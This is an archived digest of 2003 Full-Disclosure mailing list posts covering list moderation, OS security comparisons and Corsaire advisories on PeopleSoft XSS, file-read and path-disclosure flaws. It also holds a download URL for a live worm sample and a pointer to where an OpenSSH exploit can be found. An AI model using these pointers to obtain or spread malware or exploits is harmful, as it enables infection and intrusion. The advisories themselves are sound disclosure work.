How about some sort of soft moderation that forwards all posts, but sets the reply-to on off-topic posts to something other than the list itself? That way it doesn't really function as censorship, but does act to squelch the thoughtless and accidental flame wars and run-on threads that decrease the SNR. It also makes the replier think about what they are replying to and whether it's on-topic. Or you could also subscribe to Secunia. jburnes > -Original Message- > From: Jonathan A. Zdziarski [mailto:[EMAIL PROTECTED] > Sent: Thursday, November 13, 2003 8:50 AM > To: Stephen Clowater > Cc: Kryptos; [EMAIL PROTECTED] > Subject: Re: [Full-Disclosure] Feeding Stray Cats > > I suggest we keep this list open as a discussion group and create a > full-disclosure-announce list or something similar that is moderated and > designed only for the purpose of releasing vulnerability information, > exploit code, etc. Or perhaps full-disclosure-discussion and > full-disclosure-security lists...either way you get my point. > > Then the people who want to put up with the spam can put up with > it...and the people who just want the meat can get it, most importantly > leaving an unmoderated list for those concerned about becoming a > bugtraq. > > On Thu, 2003-11-13 at 09:02, Stephen Clowater wrote: > > There really is only one way to solve this, and that is to moderate the > > list. At least temporarly, until the noise dies down. At which time the > > list can be unmoderated agian. > > > ___ > Full-Disclosure - We believe in it. > Charter: http://lists.netsys.com/full-disclosure-charter.html ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
Re: [Full-Disclosure] SSH Exploit Request
On Thu, 13 Nov 2003 02:18:57 PST, Jeremiah Cornelius said: > > > We need to test it before we are permitted to upgrade. Please help. > > Help yourself and redesign your patch management. > Yeah. Everyone can do that, smartass. No, he's right. The OP's environment apparently requires that there be testing before they're allowed to upgrade. That's *broken*. Plain and simple. "Testing can reveal the presence of flaws, but not their absence" - Dijkstra. How many people have trouble getting *known* *good* exploits to run in their environment? Now think hard here - if the exploit *works*, then yes, you have a problem. But if it doesn't work, *it doesn't prove the problem is actually fixed*. So you end up in a situation where you have *known* vulnerable boxes, and a fix to install, and the fix isn't being installed because you're busy trying to verify if the patch actually works, or if you simply have a defective exploit that would have worked if you had used gcc 2.96 instead of gcc 3.3 (a *known* issue for a lot of exploits), or if you had too many environment variables and something moved around in memory, or So let's see.. We have a fix from the vendor/maintainer that is claimed to fix the problem. The canned exploit doesn't work. Now, it's POSSIBLE that your exploit is b0rked, the fix didn't work, and if you changed something the exploit would work. Now how much effort are you going to put in to that testing (assuming that you're qualified to do it), while you have vulnerable machines in production? *That* is why the OP's patching scheme is broken. pgp0.pgp Description: PGP signature
Re: [Full-Disclosure] Re: Funny article
On Thu, 2003-11-13 at 08:41, Volker Tanger wrote: > > Ideally the Apache exe should be running as an unpriviledged user. but > > then, ideally the IIS server should be running as an unpriviledged > > user too > > Well, running a kernel task is a bit difficult to do unprivileged... > *SCNR* I don't understand this comment at all. Ideally IIS should be running as an unpriviledged user, like in the good ole IIS 3 days. Back then the service was running under a user account so even if the IIS service got hijacked through a BO, you still had to hack your way to privileges. No immediate SYSTEM there. The reason IIS4+ runs as SYSTEM appears to be to gain performance. I guess running IIS as a kernel module and having less context switches does do well for performance (like an Apache LKM), but unfortunately not for security. What specific kernel task were you referring to? Regards, Frank signature.asc Description: This is a digitally signed message part
Re: [Full-Disclosure] Re: Funny article
On Thu, 13 Nov 2003 15:41:39 +0100, Volker Tanger said: > Well, running a kernel task is a bit difficult to do unprivileged... Well. Yeah. Running as a kernel task is something you should only be doing if there's no alternative, and is *supposed* to be difficult. Unless of course your security model is "everything including the mail program is a kernel task, and when we add normal users, we'll give them full sys admin rights". But that's crazy talk, nobody would be THAT silly when they design their operating system pgp0.pgp Description: PGP signature
[Full-Disclosure] Re: Funny article
On Wed, 12 Nov 2003, martin f krafft wrote: > i guess the main argument against this joke is that an operating > system with 10 different web servers, 10 different mail servers, 10 > different ftp servers, 20 different window managers, 10 different > browsers, 20 different mail clients, and so on, and so on, will have > how many more bugs than a monolithic approach with 1 web server, > 1 mail server, 1 ftp server, etc... Doesn't this argument constitute the "monoculture" argument in reverse? I suppose that once you've hauled out every gun, big and small, to deny the validity of the anti-monoculture argument, then you've got to argue the reverse of it. We'll have to see how it plays in Peoria, but in the real world, it's false. The "Slapper" worm didn't spread much not only because of the number of web servers, but because of the variety of versions, and the variety of compilations out there. I doubt that 10 different mail clients will perform a whole-internet denial of service, like Sobig.f did. The resistance that linux, unix and the BSDs have to viruses and worms etc probably derives at least in part from the variety, the spread of versions in use, the fragmented hardware base, and local customizaions. When will you guys learn that "resistance to epidemics" is a property of a population, not a property of the individual computer. Sure, any individual Slackware box might get infected or cracked, but all the SuSE boxes will have immunity. Or all the Pine users might send out the next Anna Kournikova chainmail, but the Evolution users won't. ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
Re: [Full-Disclosure] Feeding Stray Cats
I suggest we keep this list open as a discussion group and create a full-disclosure-announce list or something similar that is moderated and designed only for the purpose of releasing vulnerability information, exploit code, etc. Or perhaps full-disclosure-discussion and full-disclosure-security lists...either way you get my point. Then the people who want to put up with the spam can put up with it...and the people who just want the meat can get it, most importantly leaving an unmoderated list for those concerned about becoming a bugtraq. On Thu, 2003-11-13 at 09:02, Stephen Clowater wrote: > There really is only one way to solve this, and that is to moderate the > list. At least temporarly, until the noise dies down. At which time the > list can be unmoderated agian. ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
[Full-Disclosure] Re: new worm - "warm-pussy.jpg".
Hello, >http://kalleth.2tone-dev.com/fd/warm-pussy.rar > >It is unknown whether this is another variant of irc.trojan.fgt The JPG named file inside is the "JS/Petch.A" and the 90kB exe file is a new "Fagot" variant, according to AV companies. Sincerely: Tamas Feher. ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
Re: [Full-Disclosure] Feeding Stray Cats
True, But the problem with the announce list is it does take away the disccusion of issues, which is what this list is about. The issue is it has been polluted with crap, and bitching about that crap (ie - This email :) ) and has deaparted from the breif, proffessional, meaningful discussions about security issues, to a form that resembles an IRC channel. The list really needs to be loosely moderated, at least for a while. I'm not sure how practical it is to do that, Len could comment more correctly on that point than myself, however, as for a open solution (ie - not moderated), I really do not have any clue on how it could be done. If anyone has an open solution, I think it should be posted to the list and cc'ed to Len. I think this is one off-topic disscusion that we need to have if full disclosure is to reamain a valid forum for discussing in a meaningful, restrained, and proffessional manner (pardon my spelling :) ) Steve ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
Re: [Full-Disclosure] Re: Funny article
On Thu, 13 Nov 2003 14:06:03 - "Dave Howe" <[EMAIL PROTECTED]> wrote: > David Maynor wrote: > > Linux kernel projecn that just wrote the kernel. It sounds like you > > want a list of opensource bugs vs. Microsoft Bugs. > Ideally the Apache exe should be running as an unpriviledged user. but > then, ideally the IIS server should be running as an unpriviledged > user too Well, running a kernel task is a bit difficult to do unprivileged... *SCNR* Volker Tanger ITK-Security ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
RE: [Full-Disclosure] Microsoft prepares security assault on Linu x
Volker: What you describe is support. I'm glad you actually extracted good support from MS. Other's mileage may vary. Liability is another thing entirely. It's legal responsibility for having written, distributed and sold an inferior or broken product that causes someone else harm or damage. I'd like to see MS take *that* kind of responsibility without a protracted and very expensive court fight. > -Original Message- > From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] > Sent: Thursday, November 13, 2003 5:07 AM > To: [EMAIL PROTECTED] > Subject: Re: [Full-Disclosure] Microsoft prepares security assault on > Linux > > On Wed, Nov 12, 2003 at 04:15:14PM -0800, Charles E. Hill wrote: > > > 2. A commercial company providing with liability (and responsibility) > > > for the software you use (in other words - someone to blame). > > What commercial software company actually offers guarantees and some > form > > of liability? I've *never* heard of anyone successfully suing MS or > > Oracle or anyone else for their software screwing up. SAYING you can > > blame Microsoft is one thing -- doing it (other than pointing fingers) > is > > another. > > I now for four times acted as following: > > I bought a single support call from Microsoft. We together detected that > my problem was caused by errors in Microsoft code. They corrected. I > paid nothing because Microsoft's support is free if the error was caused > by errors of Microsoft. The support was friendly, helpful and quick. > > That is one reason because I have nothing against Microsoft. Of course, > no one paid me the work I did. And there are big problems with Windoze 2k > and WiXP, sometimes so big problems that I will not use such systems > except > if I'm forced to. > > Windows NT is getting worse. Unfortunately. > For security reasons Windows is disastrous. > > VB. > -- > Volker Birk, Postfach 1540, 88334 Bad Waldsee, Germany > Phone +49 (7524) 912142, Fax +49 (7524) 996807, [EMAIL PROTECTED] > http://fdik.org, Deutsches IRCNet [EMAIL PROTECTED] > PGP-Key: http://www.x-pie.de/vb.asc > > ___ > Full-Disclosure - We believe in it. > Charter: http://lists.netsys.com/full-disclosure-charter.html ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
Re: [Full-Disclosure] Re: Funny article
David Maynor wrote: > On Thu, Nov 13, 2003 at 03:20:14AM +0100, Mikael Olsson wrote: >> I'm sorry to disappoint you, but the script kiddies don't care >> about zealotry. I have yet to hear one say "Oh, this is a Linux >> box, so I can't use this Apache bug to own it. That'd be rong." > I don't think anybody said a linux box can't be owned with an apache > flaw. My arugemnt for count of bugs is the should be counted against > the people who actually WROTE the code. In Microsofts case it is > becasue they wrote IIS, 2000/XP/2003, and Exchange. In contrast the > Linux kernel projecn that just wrote the kernel. It sounds like you > want a list of opensource bugs vs. Microsoft Bugs. Ideally the Apache exe should be running as an unpriviledged user. but then, ideally the IIS server should be running as an unpriviledged user too ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
Re: [Full-Disclosure] Microsoft prepares security assault on Linux
Gadi Evron wrote: > there is a lot to be said for: > 1. A serious (note serious) commercial company that has a crew working >on addressing security concerns, and updating the product. > 2. A commercial company providing with liability (and responsibility) >for the software you use (in other words - someone to blame). Your clients' safety is your own safety, and nobody was ever fired for buying IBM either. But the accountability argument that goes with $BIG_CORPORATION's name doesn't have any value. The EULA on your products debunks the accountability myth. -- Luis BrunoC8-H10-N4-O2-CH3-CH2-OH UTM 29T 629481 E 4511776 N Alt: 576m ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
Re: [Full-Disclosure] Re: Funny article
On Thu, Nov 13, 2003 at 03:20:14AM +0100, Mikael Olsson wrote: > I'm sorry to disappoint you, but the script kiddies don't care > about zealotry. I have yet to hear one say "Oh, this is a Linux > box, so I can't use this Apache bug to own it. That'd be rong." > I don't think anybody said a linux box can't be owned with an apache flaw. My arugemnt for count of bugs is the should be counted against the people who actually WROTE the code. In Microsofts case it is becasue they wrote IIS, 2000/XP/2003, and Exchange. In contrast the Linux kernel projecn that just wrote the kernel. It sounds like you want a list of opensource bugs vs. Microsoft Bugs. > Saying "the linux kernel has only foo bugs while every microsoft > app combined has foo^3 bugs" makes no sense in a security > discussion. You don't read mail or serve web pages with a kernel. > No one is saying this. To be truely useful a list of bugs should be done by developer, not by instance of software. This will help establish trends in my software development practices. > Publishing an _unbiased_ report of total vulnerability counts > for two or more OSes, with common apps installed, is a service > to admins everywhere. (And no, I _really_ don't think comparing > RH6 with W2K3 is "unbiased". I think it stinks.) > I think blaming OS developers for code they didn't write nor have any control over isn't unbiased. It would be a diffrent story if it was a flaw in something like redhat-update. That is clearly a Redhat bug, but that is still not a Linux bug. ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
Re: [Full-Disclosure] Feeding Stray Cats
There really is only one way to solve this, and that is to moderate the list. At least temporarly, until the noise dies down. At which time the list can be unmoderated agian. I loath the idea of moderating a security mailing list, however, the un moderated thing is just not working. Steve Kryptos wrote: Personally I'd like to see the non-security related posts such as this cease. This thread has done nothing more than generate unnecessary messages which have absolutely no bearing on security whatsoever. -- Kryptos [EMAIL PROTECTED] 925.955.8110 ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
Re: [Full-Disclosure] Re: Funny article
would you be so kind as to stop CC'ing me? -- martin; (greetings from the heart of the sun.) \ echo mailto: !#^."<*>"|tr "<*> mailto:"; [EMAIL PROTECTED] invalid/expired pgp subkeys? use subkeys.pgp.net as keyserver! the heineken uncertainty principle: you can never be sure how many beers you had last night. pgp0.pgp Description: PGP signature
Re: [Full-Disclosure] Microsoft prepares security assault on Linux ]
William Warren wrote: > if you really want apples to apples..then take MS and their IE Damian Gerow replied: > bash/tcsh/zsh/ash/whatever are *also* critical to a Linux system MySQL and PostgresQL aren't; should their bugs count as Linux bugs? And should we count each advisory from Red Hat, then Debian and then SuSE as a separate bug? > Public's point of view, Linux means the kernel, the shell, X, Gnome/KDE, There's problem when you get creative with your bug tallying method. If you count MySQL's bugs you should count SQL Server bugs too. I'm looking forward to read that Microsoft-sponsored report to see their methods. -- Luis BrunoC8-H10-N4-O2-CH3-CH2-OH UTM 29T 629481 E 4511776 N Alt: 576m ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
Re: [Full-Disclosure] Sniffing ICQ traffic
Luiz Gustavo wrote: "Anti-Hackers Internet Informatica Ltda." For a second I got really scared of your evil intentions, of course you should find yourself a better name for a business or whatever you call it. Ok, Mr. 'registrar wizard'... Lets make it clear: this was the name of an old (97/2000) website about end-user/soho security, a popularity contest winner in Brazil (Microsoft was in the second place, Xerox in the third and yes, I'm proud of it). It shows me the, at least, the 'word of the mouth' campaign has worked. ;) This kind of 'popularity' helps to reach the end-user. The newspapers uses the term "hacker" all the time. After bring his attention, we start to teach the right concepts. Totally filantropic... This website has gone, the domain (used in this mail addr to subscribe lists) points to my hobby, a forum about security. I'm yet trying to teach good manners to the kids. And it's a hard job... I'm professionally working on a "policy enforcement" project. One of its features is to monitoring IM traffic. So, don't worry about my "evil intentions". I don't need to steal secrets from my girlfriend ICQ... :) []s, MM ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
Re: [Full-Disclosure] Microsoft prepares security assault on Linux
On Wed, Nov 12, 2003 at 04:15:14PM -0800, Charles E. Hill wrote: > > 2. A commercial company providing with liability (and responsibility) > > for the software you use (in other words - someone to blame). > What commercial software company actually offers guarantees and some form > of liability? I've *never* heard of anyone successfully suing MS or > Oracle or anyone else for their software screwing up. SAYING you can > blame Microsoft is one thing -- doing it (other than pointing fingers) is > another. I now for four times acted as following: I bought a single support call from Microsoft. We together detected that my problem was caused by errors in Microsoft code. They corrected. I paid nothing because Microsoft's support is free if the error was caused by errors of Microsoft. The support was friendly, helpful and quick. That is one reason because I have nothing against Microsoft. Of course, no one paid me the work I did. And there are big problems with Windoze 2k and WiXP, sometimes so big problems that I will not use such systems except if I'm forced to. Windows NT is getting worse. Unfortunately. For security reasons Windows is disastrous. VB. -- Volker Birk, Postfach 1540, 88334 Bad Waldsee, Germany Phone +49 (7524) 912142, Fax +49 (7524) 996807, [EMAIL PROTECTED] http://fdik.org, Deutsches IRCNet [EMAIL PROTECTED] PGP-Key: http://www.x-pie.de/vb.asc ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
Re: [Full-Disclosure] clarification - reasons as to why commercial software *could* be better
On Thu, 13 Nov 2003, Gadi Evron <[EMAIL PROTECTED]> wrote: > point (3) - when one doesn't have the source code, one finds it more > difficult, AGAIN, to a level, to find holes in the software. OK, yes, "to a level". But: > NOT every kid in the world who *knows* how to read code, also knows how > to even.. use a disassembler. If that takes some kids off the software's > "back". it is a plus. Is it a major one? I think it is. Sorry, I think in an Internet-connected world, it is not. Many people have pointed out that it only takes one person to find the flaw and create an exploit, which is published or leaks out. Then how many kiddiez or worm instances will there be at the gate, armed with it? I didn't save every message for this thread, so if you responded to Jeremiah, my apologies for missing it. But I think this is very significant: On Wed, 12 Nov 2003, Jeremiah Cornelius <[EMAIL PROTECTED]> wrote: > Almost every one of the vulnerabilities that I reference were discovered > by independent 3rd parties, with access only to derived binary objects. > MS - with privileged access to sources - never discovered any of these > flaws internally. So if closed source (only object code made public) is really a "major" advantage (your word) for the home team with respect to security, why would the above be true? I think if Microsoft (or any other company) wants to claim credibly that closed source is a major security advantage, they need an order of magnitude more people reviewing their own code. (It would only be the combination of the two that would make a difference, and frankly that isn't even the most important thing in my view.) MS in particular stands out because they have billions in the bank... and they couldn't hire people as clever as the people outside their organization finding these vulns. without the source, if they really wanted to? Come on. -- Brent J. Nordquist <[EMAIL PROTECTED]> N0BJN Other contact information: http://kepler.acns.bethel.edu/~bjn/contact.html * Fast pipe * Always on * Get out of the way - Tim Bray http://tinyurl.com/7sti ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
Re: [Full-Disclosure] clarification - reasons as to why commercial software *could* be better
On Thu, Nov 13, 2003 at 04:41:53AM -0800, Gadi Evron wrote: > First of all, notice the subject.. *could* be better, not *is* better. Also "could be better" is wrong. There are good (financial) reasons for closed source software also. But I cannot see one of them in your list. > Microsoft, we all don't like Microsoft Please do not use such generalisations - I already stated that I have nothing against Microsoft, and that I meant seriously. > Microsoft is not a very good representation of commercial software when > it comes to security. For some software fortunately you're right. For some software unfortunately you're wrong. > Many companies chose commercial software because of the arguments I > presented earlier, and pasted again below. But these companies make a mistake. > And excuse me, but with all the respect in the world.. as to my LAST > point (3) - when one doesn't have the source code, one finds it more > difficult, AGAIN, to a level, to find holes in the software. Sorry, I cannot see that at all. Obviously you don't know people who do that. Additionally, the opposite is true. You're even more secure with OpenSource, because then many people you can trust in check the code by just reading source. Those people also could check the code by debugging the object code. But they won't do that. Why? Those people usually don't read source for finding security flaws but for personal interest or for developing purposes. And coming by they're detecting possible problems - and publicate them. > > 1. A serious (note serious) commercial company that has a crew working > >on addressing security concerns, and updating the product. > Note, serious company ? Yes. I noted. ;-) > > 2. A commercial company providing with liability (and responsibility) > >for the software you use (in other words - tech support and > >someone to blame). > Who talked about law suits? I mentioned tech support and blame. > You're able to receive tech support and someone to blame for Free Software also. It is a well known lie that for Free Software commercial support does not exist support at all. (I think, we're not talking about OpenSource Software here, but about Free Software, right?) > > 3. No source (!!) available for people to examine, thus making it, to > >a level, harder to locate security "holes" - for outsides in any > >case. > Read again what I said - TO a level, harder. Quite the contrary is true - no source available does not detain anybody from finding security holes, apart from many of the people who care for their removal. VB. -- Volker Birk, Postfach 1540, 88334 Bad Waldsee, Germany Phone +49 (7524) 912142, Fax +49 (7524) 996807, [EMAIL PROTECTED] http://fdik.org, Deutsches IRCNet [EMAIL PROTECTED] PGP-Key: http://www.x-pie.de/vb.asc ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
Re: [Full-Disclosure] SSH Exploit Request
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 On Thursday 13 November 2003 01:09, Florian Weimer wrote: > Jack Chum wrote: > > > > Though it's late to ask, but could anyone send me the last openssh > > exploit for our lab-test? > > > The last exploit for a critical vulnerability in OpenSSH is from 2001. > You might be helpful - in some /small/ way: Google for "gobbles" and "ssh" Bingo! > > We need to test it before we are permitted to upgrade. Please help. > > > Help yourself and redesign your patch management. Yeah. Everyone can do that, smartass. -BEGIN PGP SIGNATURE- Version: GnuPG v1.2.3 (GNU/Linux) iD8DBQE/s1qRJi2cv3XsiSARAmQnAJoChIj/tcvoOELhkDg00pXTnruP4wCePkIx 6TtvnOE+NnFFShhnHFJVLo8= =di6f -END PGP SIGNATURE- ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
[Full-Disclosure] Corsaire Security Advisory: PeopleSoft Gateway Administration
-- Corsaire Security Advisory -- Title: PeopleSoft IScript XSS issue Date: 04.07.03 Application: PeopleTools 8.20/8.43 and prior Environment: Various Author: Glyn Geoghegan [EMAIL PROTECTED] Audience: General distribution Reference: c030704-004 -- Scope -- The aim of this document is to clearly define a vulnerability in the PeopleSoft IScript functionality, as supplied by PeopleSoft Ltd. [1], that would allow an attacker to perform a Cross Site Scripting (XSS) attack. -- History -- Discovered: 01.07.03 (Glyn Geoghegan) Vendor notified: 04.07.03 Document released: 12.11.03 -- Overview -- The PeopleSoft IScript environment allows developers to produce custom environments, tailored to an organisations needs. By using a malformed URL in an HTTP request to the IScript application, it is possible to achieve an XSS attack, potentially giving access to confidential information, such as session cookies etc. -- Analysis -- The IScript interface accepts a number of arguments via HTTP POST/GET calls. By using a carefully constructed URL, mobile code such as JAVA, can be executed within the users context. This style of attack can be used to gain access to sensitive information, such as session cookies etc. -- Recommendations -- PeopleSoft have released details of this and other issues under security rollup vulnerability ID 20031112, which is available to registered users from the PeopleSoft support site [2]. PeopleSoft recommends that customers address the vulnerability by applying the following fixes available on PeopleSoft Customer Connection. Release Patch 8.18 8.18.15 8.19 8.19.12 8.20 8.20.03 8.42 8.42.14 8.43 8.43.11 For those who can not implement the patches promptly, as a mitigating strategy a firewall or other HTTP filtering device can be used to block queries containing sensitive strings, or as a last resort all access to the PeopleSoft application can be disabled in entirety. -- CVE -- The Common Vulnerabilities and Exposures (CVE) project has assigned the name CAN-2003-0629 to this issue. This is a candidate for inclusion in the CVE list (http://cve.mitre.org), which standardises names for security problems. -- References -- [1] http://www.peoplesoft.com [2] http://www.peoplesoft.com/corp/en/patch_fix/search.jsp -- Revision -- a. Initial release. b. Minor detail revisions. c. Revised to include vendor information. -- Distribution -- This security advisory may be freely distributed, provided that it remains unaltered and in its original form. -- Disclaimer -- The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Corsaire accepts no responsibility for any damage caused by the use or misuse of this information. Copyright 2003 Corsaire Limited. All rights reserved. -- CONFIDENTIALITY: This e-mail and any files transmitted with it are confidential and intended solely for the use of the recipient(s) only. Any review, retransmission, dissemination or other use of, or taking any action in reliance upon this information by persons or entities other than the intended recipient(s) is prohibited. If you have received this e-mail in error please notify the sender immediately and destroy the material whether stored on a computer or otherwise. -- DISCLAIMER: Any views or opinions presented within this e-mail are solely those of the author and do not necessarily represent those of Corsaire Limited, unless otherwise specifically stated. -- Corsaire Limited, 3 Tannery House, Tannery Lane, Send, Surrey, GU23 7EF Telephone: +44(0)1483-226000 Email:[EMAIL PROTECTED] ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
[Full-Disclosure] Corsaire Security Advisory: PeopleSoft PeopleBooks Search CGI multiple argument issues
-- Corsaire Security Advisory -- Title: PeopleSoft PeopleBooks Search CGI multiple argument issues Date: 04.07.03 Application: PeopleTools 8.20/8.43 and prior Environment: Various Author: Martin O'Neal [EMAIL PROTECTED] Audience: General distribution Reference: c030704-010 -- Scope -- The aim of this document is to clearly define several issues in the argument handling functionality of the PeopleSoft PeopleBooks Search CGI application, as supplied by PeopleSoft Ltd. [1]. -- History -- Discovered: 01.07.03 (Martin O'Neal) Vendor notified: 04.07.03 Document released: 12.11.03 -- Overview -- The PeopleSoft PeopleBooks component provides a CGI based search application as part of the default installation. Several of the attributes that are passed into the CGI application allow the specification of a server-side path. By entering various path values into this argument it is possible to: - Access arbitrary files outside of the web servers document root. - Cause a Denial of Services (DoS) on the web server host. -- Analysis -- The Search CGI application (psdoccgi.exe) is used within the PeopleBooks online documentation. This application accepts two arguments, headername and footername, that allow the selection of header and footer content to be returned as part of the search results HTML page. These arguments appear to be checked for basic formatting issues, however it is still possible to access files outside of the web server root, such as configuration files, that may contain passwords or other confidential information. -- Recommendations -- PeopleSoft have released details of this and other issues under security rollup vulnerability ID 20031112, which is available to registered users from the PeopleSoft support site [2]. PeopleSoft recommends that customers address the vulnerability by applying the following fixes available on PeopleSoft Customer Connection. Release Patch 8.18 8.18.15 8.19 8.19.12 8.20 8.20.03 8.42 8.42.14 8.43 8.43.11 For those who can not implement the patches promptly, as a mitigating strategy a firewall or other HTTP filtering device can be used to block queries containing sensitive strings, or as a last resort all access to the PeopleSoft application can be disabled in entirety. -- CVE -- The Common Vulnerabilities and Exposures (CVE) project has assigned Multiple numbers to this issue: CAN-2003-0626 PeopleSoft PeopleBooks Search CGI arbitrary file read issue CAN-2003-0627 PeopleSoft PeopleBooks Search CGI DoS issue These are candidates for inclusion in the CVE list, which standardises names for security problems (http://cve.mitre.org). -- References -- [1] http://www.peoplesoft.com [2] http://www.peoplesoft.com/corp/en/patch_fix/search.jsp -- Revision -- a. Initial release. b. Minor detail revisions. c. Revised to include vendor information. -- Distribution -- This security advisory may be freely distributed, provided that it remains unaltered and in its original form. -- Disclaimer -- The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Corsaire accepts no responsibility for any damage caused by the use or misuse of this information. Copyright 2003 Corsaire Limited. All rights reserved. -- CONFIDENTIALITY: This e-mail and any files transmitted with it are confidential and intended solely for the use of the recipient(s) only. Any review, retransmission, dissemination or other use of, or taking any action in reliance upon this information by persons or entities other than the intended recipient(s) is prohibited. If you have received this e-mail in error please notify the sender immediately and destroy the material whether stored on a computer or otherwise. -- DISCLAIMER: Any views or opinions presented within this e-mail are solely those of the author and do not necessarily represent those of Corsaire Limited, unless otherwise specifically stated. -- Corsaire Limited, 3 Tannery House, Tannery Lane, Send, Surrey, GU23 7EF Telephone: +44(0)1483-226000 Email:[EMAIL PROTECTED] ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
[Full-Disclosure] Corsaire Security Advisory: PeopleSoft Gateway Administration servlet path disclosure issue
-- Corsaire Security Advisory -- Title: PeopleSoft Gateway Administration servlet path disclosure issue Date: 04.07.03 Application: PeopleTools 8.20/8.43 and prior Environment: Various Author: Martin O'Neal [EMAIL PROTECTED] Audience: General distribution Reference: c030704-003 -- Scope -- The aim of this document is to clearly define a vulnerability in the PeopleSoft Gateway Administration servlet, as supplied by PeopleSoft Ltd. [1], that allows an attacker to disclose the actual path of server configuration files. -- History -- Discovered: 01.07.03 (Martin O'Neal) Vendor notified: 04.07.03 Document released: 12.11.03 -- Overview -- The PeopleSoft Gateway Administration servlet provides a web-based interface to configure handlers. In the event of an invalid value being entered, the actual path of the server side configuration files is disclosed in the error response. -- Analysis -- The gateway.administration servlet is used within the PeopleSoft environment to configure handlers. This application accepts a number of values via an HTML form. If an invalid value is entered, then the servlet responds with an error page that contains the actual path of the server side configuration files. This path can then be used in conjunction with other potential vulnerabilities to attack specific OS and application configuration files. -- Recommendations -- PeopleSoft have released details of this and other issues under security rollup vulnerability ID 20031112, which is available to registered users from the PeopleSoft support site [2]. PeopleSoft recommends that customers address the vulnerability by applying the following fixes available on PeopleSoft Customer Connection. Release Patch 8.18 8.18.15 8.19 8.19.12 8.20 8.20.03 8.42 8.42.14 8.43 8.43.11 For those who can not implement the patches promptly, as a mitigating strategy a firewall or other HTTP filtering device can be used to block queries containing sensitive strings, or as a last resort the administration functionality of the PeopleSoft Gateway can be disabled by restricting access to the servlet itself. -- CVE -- The Common Vulnerabilities and Exposures (CVE) project has assigned the name CAN-2003-0628 to this issue. This is a candidate for inclusion in the CVE list (http://cve.mitre.org), which standardises names for security problems. -- References -- [1] http://www.peoplesoft.com [2] http://www.peoplesoft.com/corp/en/patch_fix/search.jsp -- Revision -- a. Initial release. b. Revised to include vendor information. -- Distribution -- This security advisory may be freely distributed, provided that it remains unaltered and in its original form. -- Disclaimer -- The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Corsaire accepts no responsibility for any damage caused by the use or misuse of this information. Copyright 2003 Corsaire Limited. All rights reserved. -- CONFIDENTIALITY: This e-mail and any files transmitted with it are confidential and intended solely for the use of the recipient(s) only. Any review, retransmission, dissemination or other use of, or taking any action in reliance upon this information by persons or entities other than the intended recipient(s) is prohibited. If you have received this e-mail in error please notify the sender immediately and destroy the material whether stored on a computer or otherwise. -- DISCLAIMER: Any views or opinions presented within this e-mail are solely those of the author and do not necessarily represent those of Corsaire Limited, unless otherwise specifically stated. -- Corsaire Limited, 3 Tannery House, Tannery Lane, Send, Surrey, GU23 7EF Telephone: +44(0)1483-226000 Email:[EMAIL PROTECTED] ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
Re: [Full-Disclosure] Re: Funny article
David Maynor wrote: > > Mikael Olsson wrote: > > counting bugs in > > the most commonly used [apps] is most certainly reasonable. > > > > What about apps that run on both windows and linux? If it's a common enough app to count, its vulnerability count should of course be included in both totals. That was my point. > When you start > counting 3rd party apps in the equation, you are throwing a horrible > slant into the mix. This is similar to getting a new 3rd party part for > your car then blaming the carmaker when that part fails. Microsoft needs > to include things like apache becasue the make both their OS and the > webserver, so a comaprsion of security flaws broken down by responsible > groups would make Microsoft look horrible. I'm sorry to disappoint you, but the script kiddies don't care about zealotry. I have yet to hear one say "Oh, this is a Linux box, so I can't use this Apache bug to own it. That'd be rong." If I expose N attack vectors, I want the vulnerability counts for all those vectors nicely summed up for platform options A, B and C before I choose which platform to use. Saying "the linux kernel has only foo bugs while every microsoft app combined has foo^3 bugs" makes no sense in a security discussion. You don't read mail or serve web pages with a kernel. Again, I suspect we're in violent agreement of the platform of choice for all relevant areas of use, but I prefer to make my choices on _relevant_ facts, and so, I suspect, does the majority of security-conscious people. Publishing an _unbiased_ report of total vulnerability counts for two or more OSes, with common apps installed, is a service to admins everywhere. (And no, I _really_ don't think comparing RH6 with W2K3 is "unbiased". I think it stinks.) Regards, /Mikael -- Mikael Olsson, Clavister AB Storgatan 12, Box 393, SE-891 28 ÖRNSKÖLDSVIK, Sweden Phone: +46 (0)660 29 92 00 Mobile: +46 (0)70 26 222 05 Fax: +46 (0)660 122 50 WWW: http://www.clavister.com ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
[Full-Disclosure] Re: Funny article
